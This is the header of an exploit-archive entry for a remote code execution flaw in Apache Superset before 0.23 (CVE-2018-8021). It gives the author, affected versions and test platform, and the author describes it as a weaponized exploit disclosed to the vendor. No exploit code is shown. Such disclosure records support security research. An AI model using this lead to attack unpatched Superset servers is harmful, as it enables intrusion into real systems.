# Exploit Title: Apache Superset < 0.23 - Remote Code Execution
# Date: 2018-05-17
# Exploit Author: David May (david.may@semanticbits.com)
# Vendor Homepage: https://superset.apache.org/
# Software Link: https://github.com/apache/incubator-superset
# Version: Any before 0.23
# Tested on: Ubuntu 18.04
# CVE-ID: CVE-2018-8021

# I originally disclosed this to the Apache Superset team back in May, and the fix had already been 
# in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.
